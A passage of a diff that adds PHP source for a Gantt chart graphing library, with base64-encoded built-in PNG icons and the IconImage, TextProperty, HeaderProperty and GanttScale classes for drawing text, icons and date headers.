+	    'UubqOHn0AOgMwvf59txnBrSp9dgxKmf/+kIP1NY8SFk0jh5ajmNHAWg5b2E5EexojGHjbiVRMoRMNs0LC+Yz46vTuH3enN7BI8fr'.
+	    'qFdo0BoVZNC9aVSQ4fNjBzEmQJiARxb+/AqYPMAVB5FsPU5v37g9OxgLhe14ZM5/ju052E6MNZvf5pmHHuLmmWOkEysxUtpGAtme'.
+	    'dtHTflJkezqQto3jFRnLssyf1jydxiiM7zNnye/c3ZsqLu2BN5fcMfzrv/hby1tPzmRUoihcTJ87CwQI2yLtDcIqsIjYUf51qBlf'.
+	    'OnScOSrdQUOMURkiXsLUzJnvbGhoBGDHH5cGyZLhOpYoNl5hqYnYEXOu5fDl9eYAHntx98n8hFHZcPHUuTSxSASAeK/CGIOxJJ0f'.
+	    'bOGNPU280dgkq6Y2yu8vfjCIlwwzr+/ZQ/PHO0gOLuO5qsftDQ2NbN+4OCgqG6WTxWVaq6zpF+DiSHWnicdylp3r6aZTWthIOrNp'.
+	    'ktHcvBu0sHX1Sm6ozB3B42d90zZA9bQp7PvgPSzXZfnqX/HS4DKKK2+x69Y/HURs26iBAN5ccsfw7774UcumF37C6f07KSt2OHji'.
+	    'DEUJD0tISjyPrrSPlAKvN0JP/U4O1NfjuhG2rvklN1SOpfXwftpbTqAyKRrff5fb7rs9V1R7m4wlz2ihA3HpmXflUWyOH2umpLiY'.
+	    'ui3v8M+6bWzfsRNbSgqkxaCkiy0simMuEWEhpcRzIhQWOIAh6tiAwS4owInFiTou5dOnMnl2NR++ujBwXEc9terD6M43nrj6LgAB'.
+	    'QnDPA9/irtkP8JRS7Hr/3T6YekDQ1pEiEXOwpUVJzCVlZZFS4mZtkpEo9ChAkDp/jtLMBACy6S4RiQghLyv5cgBRPnKUOX6smUGF'.
+	    'hSil0MYw9d77mPy1e5mnFE3batm3czvb6nYgEJztSFGU9LCRlMRdUjIH0+lnEMIwPNXD3NumoVJnrMCJaiciMUZfvQnz4QcBSvV1'.
+	    'vjE5GK358t0zmXDnDB79saLpo20c+aSRD+t25JTp7GZQwsEWFiVxl6hlUf/WO9z32CxmL1rOe6u/I2KuwGhzLQCB7/sYY9Bah3el'.
+	    'FKbvrrVm4vS7GH/7ncx+chEHGz7myCeNbPtoO0JI2jq78WIRLGkzsqs7V5SfFV5EovXACoiqqsfNpk2vo5VCWtYFBfoU0VoTBAFa'.
+	    'a7TRaK2p+MoURk+cxMzq+Rzbv49DDbuo27UTW9h0dedssPxuK+kIfN8XxhgDYPVXf2Fh4XKtFIl4AiklAlBKAYRKKK36wHIweTCt'.
+	    'NfHiEkaOn8j0+7/BmDFjaT30GbHywSxcuZkpFfFg+m1jjZ/NmnVvNfRvwd69e8WBA/uNFAIh4JVXXmHsmDHE4vEQQgjQ2lxQIm9N'.
+	    'nz35q3BEOZOHzaG2thaA4mRU+L29It+IV21CpbRQfeMFC35gRB/M2rVrubnyZmLxWJhECBEmz/eHyo/7lMlH3LFFujsthNFCCGOu'.
+	    '+WNyeUgpjSVzMKtWraKyshLPdcPEeYWCIEBdpIxSivr6eta8vI7d6+cGnhdV06pe1QP+F/QXWmuRL+jZZ58LlVmxYgUVFRV4rhtu'.
+	    '4TzMxXAA6XRaRAtsYUkx8I/JtSJQOlSwpmZpCLN8+fPcdNNoHMfB9/0QJgRoP295TlR7UVv8xxZcHMuWIZ9/Hn35vG3JEGZpzVJG'.
+	    'jx5N1IlitKahsZE1L69j69qHgx+urFX/lQL9JYdLlfnZihUhzOLFi8N3Ml1dthOxVH/f/8/CtqSJ2JaJ2JZ59J7RPsC/AViJsQS/'.
+	    'dBntAAAAAElFTkSuQmCC' ;
+
+	//==========================================================
+	// folder.png
+	//==========================================================
+        $this->iBuiltinIcon[11][0]= 1824 ;
+	$this->iBuiltinIcon[11][1]=
+	    'iVBORw0KGgoAAAANSUhEUgAAACIAAAAiCAYAAAA6RwvCAAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlz'.
+	    'AAALEAAACxABrSO9dQAAAAd0SU1FB9ECAQgFFyd9cRUAAAadSURBVHiczdhvbBP3Hcfx9/2xfefEOA5JoCNNnIT8AdtZmYBETJsI'.
+	    '6+jQOlQihT1AYgytqzZpD1atfyYqlT1h0lRpT7aRJ4NQpRvZGELVuo5Ua9jEJDIETQsNQyPBsUJMWGPnj//e+e72wNg4xElMR6ed'.
+	    'ZNln3933dZ/f93f6yfB/sgmrHdDV1WXlPg8NDZUDScD8LFFFEZZlWYZhWMFg0Orq6sq/gDJAfFy1iiZy9OjrVnj4JzQ1rMWqfxm/'.
+	    '309jYyNtbW0kEgnu3bvH4cOH88c/jqSKQl4/XGkd+eVtAN46up1LH92ktqYS++ZX8Pv9NDQ0sGnTJlKpFOFwmO7u7vy5IyMjeVRd'.
+	    'XV1+WEOh0IrY4pDnq6wXX/sTiCJaMkFZdRNqxefoe7VtCSqXVDqdZnZ2ltraWkzTpKqqijt3JpFlG7dvj7NzZ1f++qFQyA3EClHL'.
+	    'Ql743nFkhxPDtJAd5eTaYSVUfX09lZWVlJWVIUnSg7sVQMBCUcu4ceMGe/bsIRQK1QAzOcyykIM9P0KyudAyCWyqG8nhwqa4SkLt'.
+	    '3r0bVVVxu924XC40TUOWZUQxe97CwgIdHR2LMHIxSCaVInVvFElxE0vMY1Pd2NUKJMWNTXHlUfF//4vETJCelwbpFm3MjP2dt37x'.
+	    'AlN+PzU1NViWRSwW4+7du3g8HjweD4qi5EFAJzAExIpCANbooxhplfB0FJvTg6xWIqsVRVF6MopkU3FXPcnkJxGU0VEAdF2noqKC'.
+	    'W3/8DpnqLjzep2lubsblcjE8PExHR8fboVDID9xYFpLBDpJF0jDQIncQpWlkm31FlFLtp9PfyuW/vYQj1kPSuRW/38+lj27S2Q7v'.
+	    '/aWXUBVUffVNtm3blivVCEwsC5Eyc5iiApEpDEAXMqQdldhSiWVQHjJagud+8Fuexck/zv+K82dfoSbSCsDe75/km+4GVPd6+l5t'.
+	    '4zJHcqVUYN2yEEtZQDCSJCueRAYsPY49HsFIZVG6p25JUumFafT4DKJN4amtT7Nz38sk5+5A70HMtEYyMkFiZhxzjQ/poXrLQrRU'.
+	    'DFGEeFpAlkQkm4pRiCpIKodKzk0T/2QMh+piPjxKZPwiSkUtu/b9mNnJEWS7E8nhAmvpM60oJDkXJxqNozxRRUxPIesispBBlsXV'.
+	    'UaKEFo8gzoaJhz8s2lOmrpUG+WBhJ9/60g+Z+fDXTAXfxllRjl1VkO0OFATsYhYliiK21ZKKhhHnFveUqSdKgwAEOp7F2v51vvw8'.
+	    'XH7/N1wd/BlTweuUV65BdtgfoLTSkipsdD3tRi0VYpommUwGwzDwdT5HYEc3giAwcvH3jLz3BlPB67jWeZBEKYsSBWwpHZtNKo4q'.
+	    'aHTDsJeeiGEYWJaFZVmYpommaRiGQdPnv0bb1m8gSRL/vPIOV979aR4lmAJ2p4qCgCxksNuKJ6VNpx4NYhgGpmkuQhmGQTqdxjAM'.
+	    'qr2d7HtxEEEQuH1tkKvvvkF44tqDnrIcKJKAPf1g+LAUElq8dIiu60sApmnm93Pfzc7OYhgGrie+wFe++ztcLhcT1wf54PzPCU9c'.
+	    'w7XWjWS3IdsdOAUBWZAxrRJnTQ6SG5bce2FCpmkughmGQSqVYm5uDtnj44sH38TtdhP6+Dwf//V4ttHXrkGURZJaic8RgHQ6jWma'.
+	    'SJKUL5RLKNfIOczDKF3XSSaTRCIRhLJWntp3nGfWrSMxc5OLf3iNP4+68T9Ub9nF76lTpxgfHycajZJKpdA0LZ9GbjYV7hcDWZaF'.
+	    'pmnMz88Ti8UYunSLmu1HFi2aVkxkaGjINTY2ttDb24vX6+XQoUNs3ryZ8vJyIDu1BUFYkkxhgxeiWlpaOHPmDE1NTdTX1xe98eWG'.
+	    'JnF/9dQZCoXUYDA4AOD1ejlw4ACtra2Ul5fniwmCkEcUJiUIAoFAgL6+Pnw+H21tbfT39z8SxCS7hHsfWH9/8dL4MKqnp4eWlhac'.
+	    'TmcekEvMNE2am5s5ceIEgUCA9vZ2Tp48ic/nY3j4UsmQHCYOjJHtpeBKqL1799Lc3IzT6UTXdRobGxkYGKC9vZ3W1tZ8Ko86NJ8a'.
+	    'tXHjRo4dO8bp06fZsmULGzZsoL+/n0AggNfr5ezZs/8VpGTU5OSkc//+/acBfD4f1dXV7Nq1i4aGBs6dO4fP5+Pq1SuPBbIiyjTN'.
+	    'RUnV1dUNXLhwAa/Xy44dO4jFYgBEo9FFF1r134BPuYlk16LrAYXsAlmtq6sbKDwoFAp9m+ykuP5ZQVZF3f8tCdwCov8LyHIoAANI'.
+	    'AXf/A1TI0XCDh7OWAAAAAElFTkSuQmCC' ;
+
+	//==========================================================
+	// file_important.png
+	//==========================================================
+	$this->iBuiltinIcon[12][0]= 1785 ;
+	$this->iBuiltinIcon[12][1]=
+	    'iVBORw0KGgoAAAANSUhEUgAAACIAAAAiCAYAAAA6RwvCAAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlz'.
+	    'AAALDwAACw8BkvkDpQAAAAd0SU1FB9ECDAcjDeD3lKsAAAZ2SURBVHicrZhPaFzHHcc/897s7lutJCsr2VHsOHWMk0MPbsBUrcnF'.
+	    'OFRdSo6FNhdB6SGHlpDmYtJCDyoxyKe6EBxKQkt7KKL0T6ABo0NbciqigtC6PhWKI2NFqqxdSd7V2/dmftPDvPd212t55dCBYfbN'.
+	    'zpvfZ77z+/1mdhUjytWrV93Hf/24eD5z9gwiMlDjOKbb7dLtdhER2u02u7u73Lp1CxEZBw4AeZwdNQqkMd9wbziFGINJUt6rRbz5'.
+	    '1ptUq1XK5TJBEAAUMHt7e+zu7gKwvLzMysoKwAng/uNg9CgQgFKlgg1DUJ67Vqtx6tQpZmdniaIIpRTOOZRSdDoddnZ2aLfbLC8v'.
+	    's7S0xJUrV7ZGwQSj1PhhfRodVdDlMrpc5vup5Z2fvMPdu3fZ29vDWjvwztjYGPV6nVqtRqVS4dKlSywtLQFsAdOH2XwsCEApg3jl'.
+	    'w98Rak2gvYjNZpNms0mSJDjnHgkDMDc3dySYQ0Ea8w139YUX0OUKulzyg7UmCEO+l1huvHuDra0t9vf3h1TJYSqVypFhHquIrlQI'.
+	    'S5qv/uIDAC7/4bcEQYAKvK+0Wq1DVQGIoog7d+4cCeaRII35hrt+8SsEOkRlUaEyR0UpFIrXHxyMVKVUKnHv3r0jwRwaNelBjBjL'.
+	    'Sz/7KYuLiwAsLi7y4z/9kY9e+TpkCuSqjI+Po7XuAWeKXLt2DWNMUZMkwRjDhQsXWFtbK6JpCCT3jfQgxomPtPX19YHWicM5x3c2'.
+	    '73Pj3Ru8/aO3mZqaolKpoHVvyuvXr/Ppnf/Q7uzz380NPtu4y/qnG+ztd1hfX2dtbQ3gIvDnRyqSxl1UoPjyz98D4PTp0wPtq39Z'.
+	    '4fdzLxegrVaLVqvF5OQkYRgWqpRKJZ77wvNsbW1RG5tgfKLOTH2G7Z1twqBQrgrMDvhInjfSOCY5iIv+hYWFgRZArEWsZWF941Bf'.
+	    'SdMUgMnJCWpjVU4cn+HUyePM1Gc4+fRUPkzBI5w1jbukcczLv/5l0XfmzJmBFuCba38r/CRXpT+CrDUoZ0jjB4RYonJAOYRobJKT'.
+	    'z5zgqfqxAbsFSH6mpHFM2qdGXh4VnoViD6mSJF2cTQeqDqBaKVHWmonJCWpZjhkC6anR5WsffTgwaHV1FaUUq6urA/2v3f5k4LnV'.
+	    'arG9tUn3oI2YBCcWHYAxMVYs1qZEZY2SFB2aYZDGfMN9d7uJiWPSeFiNo5Rclc3NTXZbO6RpF7EJVixYA9agwwDnUiqlEPdQ3imi'.
+	    'Jo27BGHIt/7x9yEjc3Nzh27Na7c/4TdffKl4bja3ae5MUIu0T/HOEIaOpJt4gwoSsVTK4SBIY77hFtY3ABBjBiZ90rKwvsH77/+K'.
+	    't37wOhO1iPpTk4SBw1mLsz6CnKQ4l3qV+kE+t9XHlNZOk+bUJLVIE1VCcIJWQmJ6qjj30NbcXLkZMt8YPig+Z3n1G5fZ39/j/vY2'.
+	    '9ckqZT2Ochbn0p4qNkU/dDfUADdXbh4HXgRO4zNdEU0XL1784PLly5w9e7Z4SazFOfGrEotDcOKrcoJPmrYIXf/Zop3QNd1skuGt'.
+	    'cUAb2MgAxvHZTgFUq1Wmp6eZnZ0F8JlTjDduDThBnDeECEoJtbGIp6enqEblzCcEZ1PECU4yVRiOGgd0gc+AB0CZvkv1sWPHOHfu'.
+	    'HOfPn8da41cpkkltEBEPJhYnBkTQJcdYVKGkgRxCfBsq5xXNgAa2Bn+hjTOgHEKBP8pzRUxykIH4ifLJRTJAl+UMBJzPHQ6bfe/f'.
+	    'cWIzPxlUpD+zugzIZtVk1d8znBAqRxgoQuVQgSJQ3h9C5QhDRYgjUILCAzlnEdsHYTKfMTEBcP7F54YUGVmc2GLlIn6ve6v0ahSt'.
+	    '8X25TzjJ+rIx1grKpQPWR4LkGVVsMgghvS0qjPdvm5OeceOTWA5Evo2mFzkjQfL7hZPUy5yvvF/uPFQL3+nbDmsLCEmT3sTmCTNr'.
+	    'rogT6yFsOix3ftw7OwQhkvSU6CuinhCk0+kAkFoBazEEICHaHHiPVmU0gnUp4EAc1mYrF0EBVpwPi34VrBkwPxKk3W5ju/e5/c+d'.
+	    'bGUHIAIuydTIE5zfc5Wr4lJcahHnHTP3CVGm78DrgY38N+DEibp7dmYKdAQmBh1hjEFjis+9CTWYGK21H6PxPyOI0DobYwzZF/z7'.
+	    '7jadTvJtYG0kCD7lfwl49ijgT1gc0AH+dZSJA/xB+Mz/GSIvFoj/B7H1mAd8CO/zAAAAAElFTkSuQmCC' ;
+
+	$this->iLen = count($this->iBuiltinIcon);
+    }
+}
+
+//===================================================
+// Global cache for builtin images
+//===================================================
+$_gPredefIcons = new PredefIcons();
+
+//===================================================
+// CLASS IconImage
+// Description: Holds properties for an icon image 
+//===================================================
+class IconImage {
+    private $iGDImage=null;
+    private $iWidth,$iHeight;
+    private $ixalign='left',$iyalign='center';
+    private $iScale=1.0;
+
+    function IconImage($aIcon,$aScale=1) {
+	GLOBAL $_gPredefIcons ; 
+	if( is_string($aIcon) ) {
+	    $this->iGDImage = Graph::LoadBkgImage('',$aIcon);
+	}
+	elseif( is_integer($aIcon) ) {
+	    // Builtin image
+	    $this->iGDImage = $_gPredefIcons->GetImg($aIcon);
+	}
+	else {
+	    JpGraphError::RaiseL(6011);
+//('Argument to IconImage must be string or integer');
+	}
+	$this->iScale = $aScale;
+	$this->iWidth = Image::GetWidth($this->iGDImage);
+	$this->iHeight = Image::GetHeight($this->iGDImage);
+    }
+
+    function GetWidth() {
+	return round($this->iScale*$this->iWidth);
+    }
+
+    function GetHeight() {
+	return round($this->iScale*$this->iHeight);
+    }
+
+    function SetAlign($aX='left',$aY='center') {
+
+	$this->ixalign = $aX;
+	$this->iyalign = $aY;
+
+    }
+
+    function Stroke($aImg,$x,$y) {
+
+	if( $this->ixalign == 'right' ) {
+	    $x -= $this->iWidth;
+	}
+	elseif( $this->ixalign == 'center' ) {
+	    $x -= round($this->iWidth/2*$this->iScale);
+	}
+
+	if( $this->iyalign == 'bottom' ) {
+	    $y -= $this->iHeight;
+	}
+	elseif( $this->iyalign == 'center' ) {
+	    $y -= round($this->iHeight/2*$this->iScale);
+	}
+
+	$aImg->Copy($this->iGDImage,
+		    $x,$y,0,0,
+		    round($this->iWidth*$this->iScale),round($this->iHeight*$this->iScale),
+		    $this->iWidth,$this->iHeight);
+    }
+}
+
+
+//===================================================
+// CLASS TextProperty
+// Description: Holds properties for a text
+//===================================================
+class TextProperty {
+    public $iShow=true;
+    public $csimtarget='',$csimwintarget='',$csimalt='';
+    private $iFFamily=FF_FONT1,$iFStyle=FS_NORMAL,$iFSize=10;
+    private $iColor="black";
+    private $iText="";
+    private $iHAlign="left",$iVAlign="bottom";
+	
+//---------------
+// CONSTRUCTOR	
+    function TextProperty($aTxt='') {
+	$this->iText = $aTxt;
+    }		
+	
+//---------------
+// PUBLIC METHODS	
+    function Set($aTxt) {
+	$this->iText = $aTxt;
+    }
+
+    function SetCSIMTarget($aTarget,$aAltText='',$aWinTarget='') {
+	if( is_string($aTarget) )
+	    $aTarget = array($aTarget);
+	$this->csimtarget=$aTarget;
+
+	if( is_string($aWinTarget) )
+	    $aWinTarget = array($aWinTarget);
+	$this->csimwintarget=$aWinTarget;
+
+	if( is_string($aAltText) )
+	    $aAltText = array($aAltText);
+        $this->csimalt=$aAltText;
+	
+    }
+    
+    function SetCSIMAlt($aAltText) {
+	if( is_string($aAltText) )
+	    $aAltText = array($aAltText);
+        $this->csimalt=$aAltText;
+    }
+
+    // Set text color
+    function SetColor($aColor) {
+	$this->iColor = $aColor;
+    }
+	
+    function HasTabs() {
+	if( is_string($this->iText) ) {
+	    return substr_count($this->iText,"\t") > 0;
+	}
+	elseif( is_array($this->iText) ) {
+	    return false;
+	}
+    }
+	
+    // Get number of tabs in string
+    function GetNbrTabs() {
+	if( is_string($this->iText) ) {
+	    return substr_count($this->iText,"\t") ;
+	}
+	else{
+	    return 0;
+	}
+    }
+	
+    // Set alignment
+    function Align($aHAlign,$aVAlign="bottom") {
+	$this->iHAlign=$aHAlign;
+	$this->iVAlign=$aVAlign;
+    }
+	
+    // Synonym
+    function SetAlign($aHAlign,$aVAlign="bottom") {
+	$this->iHAlign=$aHAlign;
+	$this->iVAlign=$aVAlign;
+    }
+	
+    // Specify font
+    function SetFont($aFFamily,$aFStyle=FS_NORMAL,$aFSize=10) {
+	$this->iFFamily = $aFFamily;
+	$this->iFStyle	 = $aFStyle;
+	$this->iFSize	 = $aFSize;
+    }
+
+    function IsColumns() {
+	return is_array($this->iText) ; 
+    }
+	
+    // Get width of text. If text contains several columns separated by
+    // tabs then return both the total width as well as an array with a 
+    // width for each column.
+    function GetWidth($aImg,$aUseTabs=false,$aTabExtraMargin=1.1) {
+	$extra_margin=4;
+	$aImg->SetFont($this->iFFamily,$this->iFStyle,$this->iFSize);
+	if( is_string($this->iText) ) {
+	    if( strlen($this->iText) == 0 ) return 0;
+	    $tmp = split("\t",$this->iText);
+	    if( count($tmp) <= 1 || !$aUseTabs ) {
+		$w = $aImg->GetTextWidth($this->iText);
+		return $w + 2*$extra_margin;
+	    }
+	    else {
+		$tot=0;
+		$n = count($tmp);
+		for($i=0; $i < $n; ++$i) {
+		    $res[$i] = $aImg->GetTextWidth($tmp[$i]);
+		    $tot += $res[$i]*$aTabExtraMargin;
+		}
+		return array(round($tot),$res);
+	    }
+	}
+	elseif( is_object($this->iText) ) {
+	    // A single icon
+	    return $this->iText->GetWidth()+2*$extra_margin;
+	}
+	elseif( is_array($this->iText) ) {
+	    // Must be an array of texts. In this case we return the sum of the
+	    // length + a fixed margin of 4 pixels on each text string
+	    $n = count($this->iText);
+	    for( $i=0, $w=0; $i < $n; ++$i ) {
+		$tmp = $this->iText[$i];
+		if( is_string($tmp) ) {
+		    $w += $aImg->GetTextWidth($tmp)+$extra_margin;
+		}
+		else {
+		    if( is_object($tmp) === false ) {
+			JpGraphError::RaiseL(6012);
+		    }
+		    $w += $tmp->GetWidth()+$extra_margin;
+		}
+	    }
+	    return $w;
+	}
+	else {
+	    JpGraphError::RaiseL(6012);
+	}
+    }
+
+    // for the case where we have multiple columns this function returns the width of each
+    // column individually. If there is no columns just return the width of the single
+    // column as an array of one
+    function GetColWidth($aImg,$aMargin=0) {
+	$aImg->SetFont($this->iFFamily,$this->iFStyle,$this->iFSize);
+	if( is_array($this->iText) ) {
+	    $n = count($this->iText);
+	    for( $i=0, $w=array(); $i < $n; ++$i ) {
+		$tmp = $this->iText[$i];
+		if( is_string($tmp) ) {
+		    $w[$i] = $aImg->GetTextWidth($this->iText[$i])+$aMargin;
+		}
+		else {
+		    if( is_object($tmp) === false ) {
+			JpGraphError::RaiseL(6012);
+		    }
+		    $w[$i] = $tmp->GetWidth()+$aMargin;
+		}
+	    }
+	    return $w;	
+	}
+	else {
+	    return array($this->GetWidth($aImg));
+	}
+    }
+	
+    // Get total height of text
+    function GetHeight($aImg) {
+	$aImg->SetFont($this->iFFamily,$this->iFStyle,$this->iFSize);
+	return $aImg->GetFontHeight();
+    }
+	
+    // Unhide/hide the text	
+    function Show($aShow=true) {
+	$this->iShow=$aShow;
+    }
+	
+    // Stroke text at (x,y) coordinates. If the text contains tabs then the
+    // x parameter should be an array of positions to be used for each successive
+    // tab mark. If no array is supplied then the tabs will be ignored.
+    function Stroke($aImg,$aX,$aY) {
+	if( $this->iShow ) {
+	    $aImg->SetColor($this->iColor);
+	    $aImg->SetFont($this->iFFamily,$this->iFStyle,$this->iFSize);
+	    $aImg->SetTextAlign($this->iHAlign,$this->iVAlign);			
+	    if( $this->GetNbrTabs() <= 1 ) {
+		if( is_string($this->iText) ) {
+		    // Get rid of any "\t" characters and stroke string
+		    if( is_array($aX) ) $aX=$aX[0];
+		    if( is_array($aY) ) $aY=$aY[0];
+		    $aImg->StrokeText($aX,$aY,str_replace("\t"," ",$this->iText));
+		}
+		elseif( is_array($this->iText) && ($n = count($this->iText)) > 0 ) {
+		    $ax = is_array($aX) ;
+		    $ay = is_array($aY) ;
+		    if( $ax && $ay ) {
+			// Nothing; both are already arrays
+		    }
+		    elseif( $ax ) {
+			$aY = array_fill(0,$n,$aY);
+		    }
+		    elseif( $ay ) {
+			$aX = array_fill(0,$n,$aX);
+		    }
+		    else {
+			$aX = array_fill(0,$n,$aX);
+			$aY = array_fill(0,$n,$aY);
+		    }
+		    $n = min($n, count($aX) ) ;
+		    $n = min($n, count($aY) ) ;
+		    for($i=0; $i < $n; ++$i ) {
+			$tmp = $this->iText[$i];
+			if( is_object($tmp) ) {
+			    $tmp->Stroke($aImg,$aX[$i],$aY[$i]);
+			}
+			else
+			    $aImg->StrokeText($aX[$i],$aY[$i],str_replace("\t"," ",$tmp));
+		    }
+		}
+	    }
+	    else {
+		$tmp = split("\t",$this->iText);
+		$n = min(count($tmp),count($aX));
+		for($i=0; $i < $n; ++$i) {
+		    $aImg->StrokeText($aX[$i],$aY,$tmp[$i]);
+		}	
+	    }
+	}
+    }
+}
+
+//===================================================
+// CLASS HeaderProperty
+// Description: Data encapsulating class to hold property 
+// for each type of the scale headers
+//===================================================
+class HeaderProperty {
+    public $grid;
+    public $iShowLabels=true,$iShowGrid=true;
+    public $iTitleVertMargin=3,$iFFamily=FF_FONT0,$iFStyle=FS_NORMAL,$iFSize=8;
+    public $iStyle=0;
+    public $iFrameColor="black",$iFrameWeight=1;
+    public $iBackgroundColor="white";
+    public $iWeekendBackgroundColor="lightgray",$iSundayTextColor="red"; // these are only used with day scale
+    public $iTextColor="black";
+    public $iLabelFormStr="%d";
+    public $iIntervall = 1;
+
+//---------------
+// CONSTRUCTOR	
+    function HeaderProperty() {
+	$this->grid = new LineProperty();
+    }
+
+//---------------
+// PUBLIC METHODS		
+    function Show($aShow=true) {
+	$this->iShowLabels = $aShow;
+    }
+
+    function SetIntervall($aInt) {
+	$this->iIntervall = $aInt;
+    }
+
+    function GetIntervall() {
+	return $this->iIntervall ;
+    }
+	
+    function SetFont($aFFamily,$aFStyle=FS_NORMAL,$aFSize=10) {
+	$this->iFFamily = $aFFamily;
+	$this->iFStyle	 = $aFStyle;
+	$this->iFSize	 = $aFSize;
+    }
+
+    function SetFontColor($aColor) {
+	$this->iTextColor = $aColor;
+    }
+	
+    function GetFontHeight($aImg) {
+	$aImg->SetFont($this->iFFamily,$this->iFStyle,$this->iFSize);
+	return $aImg->GetFontHeight();
+    }
+
+    function GetFontWidth($aImg) {
+	$aImg->SetFont($this->iFFamily,$this->iFStyle,$this->iFSize);
+	return $aImg->GetFontWidth();
+    }
+
+    function GetStrWidth($aImg,$aStr) {
+	$aImg->SetFont($this->iFFamily,$this->iFStyle,$this->iFSize);
+	return $aImg->GetTextWidth($aStr);
+    }
+	
+    function SetStyle($aStyle) {
+	$this->iStyle = $aStyle;
+    }
+	
+    function SetBackgroundColor($aColor) {
+	$this->iBackgroundColor=$aColor;
+    }
+
+    function SetFrameWeight($aWeight) {
+	$this->iFrameWeight=$aWeight;
+    }
+
+    function SetFrameColor($aColor) {
+	$this->iFrameColor=$aColor;
+    }
+	
+    // Only used by day scale
+    function SetWeekendColor($aColor) {
+	$this->iWeekendBackgroundColor=$aColor;
+    }
+	
+    // Only used by day scale
+    function SetSundayFontColor($aColor) {
+	$this->iSundayTextColor=$aColor;
+    }
+	
+    function SetTitleVertMargin($aMargin) {
+	$this->iTitleVertMargin=$aMargin;
+    }
+	
+    function SetLabelFormatString($aStr) {
+	$this->iLabelFormStr=$aStr;
+    }
+
+    function SetFormatString($aStr) {
+	$this->SetLabelFormatString($aStr);
+    }
+
+
+}
+
+//===================================================
+// CLASS GanttScale
+// Description: Responsible for calculating and showing
+// the scale in a gantt chart. This includes providing methods for
+// converting dates to position in the chart as well as stroking the
+// date headers (days, week, etc).
+//===================================================
+class GanttScale {
+    public $minute,$hour,$day,$week,$month,$year;
+    public $divider,$dividerh,$tableTitle;
+    public $iStartDate=-1,$iEndDate=-1;
+    // Number of gantt bar position (n.b not necessariliy the same as the number of bars)
+    // we could have on bar in position 1, and one bar in position 5 then there are two
+    // bars but the number of bar positions is 5
+    public $actinfo;
+    public $iTopPlotMargin=10,$iBottomPlotMargin=15;
+    public $iVertLines=-1;	
+    public $iVertHeaderSize=-1;
+    // The width of the labels (defaults to the widest of all labels)
+    private $iLabelWidth;	
+    // Out image to stroke the scale to
+    private $iImg;	
+    private $iTableHeaderBackgroundColor="white",$iTableHeaderFrameColor="black";
+    private $iTableHeaderFrameWeight=1;
+    private $iAvailableHeight=-1,$iVertSpacing=-1;
+    private $iDateLocale;
+    private $iVertLayout=GANTT_EVEN;
+    private $iUsePlotWeekendBackground=true;
+    private $iWeekStart = 1;	// Default to have weekends start on Monday
+	
+//---------------
+// CONSTRUCTOR	
+    function GanttScale($aImg) {
+	$this->iImg = $aImg;		
+	$this->iDateLocale = new DateLocale();
+
+	$this->minute = new HeaderProperty();
+	$this->minute->SetIntervall(15);
+	$this->minute->SetLabelFormatString('i');
+	$this->minute->SetFont(FF_FONT0);
+	$this->minute->grid->SetColor("gray");
+
+	$this->hour = new HeaderProperty();
+	$this->hour->SetFont(FF_FONT0);
+	$this->hour->SetIntervall(6);
+	$this->hour->SetStyle(HOURSTYLE_HM24);
+	$this->hour->SetLabelFormatString('H:i');
+	$this->hour->grid->SetColor("gray");
+
+	$this->day = new HeaderProperty();
+	$this->day->grid->SetColor("gray");
+	$this->day->SetLabelFormatString('l');
+
+	$this->week = new HeaderProperty();
+	$this->week->SetLabelFormatString("w%d");
+	$this->week->SetFont(FF_FONT1);
+
+	$this->month = new HeaderProperty();
+	$this->month->SetFont(FF_FONT1,FS_BOLD);
+
+	$this->year = new HeaderProperty();
+	$this->year->SetFont(FF_FONT1,FS_BOLD);		
+		
+	$this->divider=new LineProperty();
+	$this->dividerh=new LineProperty();		
+	$this->dividerh->SetWeight(2);
+	$this->divider->SetWeight(6);
+	$this->divider->SetColor('gray');
+	$this->divider->SetStyle('fancy');
+
+	$this->tableTitle=new TextProperty();
+	$this->tableTitle->Show(false);
+	$this->actinfo = new GanttActivityInfo();
+    }
+	
+//---------------
+// PUBLIC METHODS	
+    // Specify what headers should be visible
+    function ShowHeaders($aFlg) {
+	$this->day->Show($aFlg & GANTT_HDAY);
+	$this->week->Show($aFlg & GANTT_HWEEK);
+	$this->month->Show($aFlg & GANTT_HMONTH);
+	$this->year->Show($aFlg & GANTT_HYEAR);
+	$this->hour->Show($aFlg & GANTT_HHOUR);
+	$this->minute->Show($aFlg & GANTT_HMIN);
+
+	// Make some default settings of gridlines whihc makes sense
+	if( $aFlg & GANTT_HWEEK ) {
+	    $this->month->grid->Show(false);
+	    $this->year->grid->Show(false);
+	}
+	if( $aFlg & GANTT_HHOUR ) {
+	    $this->day->grid->SetColor("black");
+	}
+    }
+	
+    // Should the weekend background stretch all the way down in the plotarea
+    function UseWeekendBackground($aShow) {
+	$this->iUsePlotWeekendBackground = $aShow;
+    }
+	
+    // Have a range been specified?
+    function IsRangeSet() {
+	return $this->iStartDate!=-1 && $this->iEndDate!=-1;
+    }
+	
+    // Should the layout be from top or even?
+    function SetVertLayout($aLayout) {
+	$this->iVertLayout = $aLayout;
+    }
+	
+    // Which locale should be used?
+    function SetDateLocale($aLocale) {
+	$this->iDateLocale->Set($aLocale);
+    }
+	
+    // Number of days we are showing
+    function GetNumberOfDays() {
+	return round(($this->iEndDate-$this->iStartDate)/SECPERDAY);
+    }
+	
+    // The width of the actual plot area
+    function GetPlotWidth() {
+	$img=$this->iImg;
+	return $img->width - $img->left_margin - $img->right_margin;
+    }
+
+    // Specify the width of the titles(labels) for the activities
+    // (This is by default set to the minimum width enought for the
+    // widest title)
+    function SetLabelWidth($aLabelWidth) {
+	$this->iLabelWidth=$aLabelWidth;
+    }
+
+	// Which day should the week start?
+	// 0==Sun, 1==Monday, 2==Tuesday etc
+    function SetWeekStart($aStartDay) {
+	$this->iWeekStart = $aStartDay % 7;
+	
+	//Recalculate the startday since this will change the week start
+	$this->SetRange($this->iStartDate,$this->iEndDate);
+    }
+
+    // Do we show min scale?
+    function IsDisplayMinute() {
+	return $this->minute->iShowLabels;
+    }
+
+    // Do we show day scale?
+    function IsDisplayHour() {
+	return $this->hour->iShowLabels;
+    }
+
+	
+    // Do we show day scale?
+    function IsDisplayDay() {
+	return $this->day->iShowLabels;
+    }
+	
+    // Do we show week scale?
+    function IsDisplayWeek() {
+	return $this->week->iShowLabels;
+    }
+	
+    // Do we show month scale?
+    function IsDisplayMonth() {
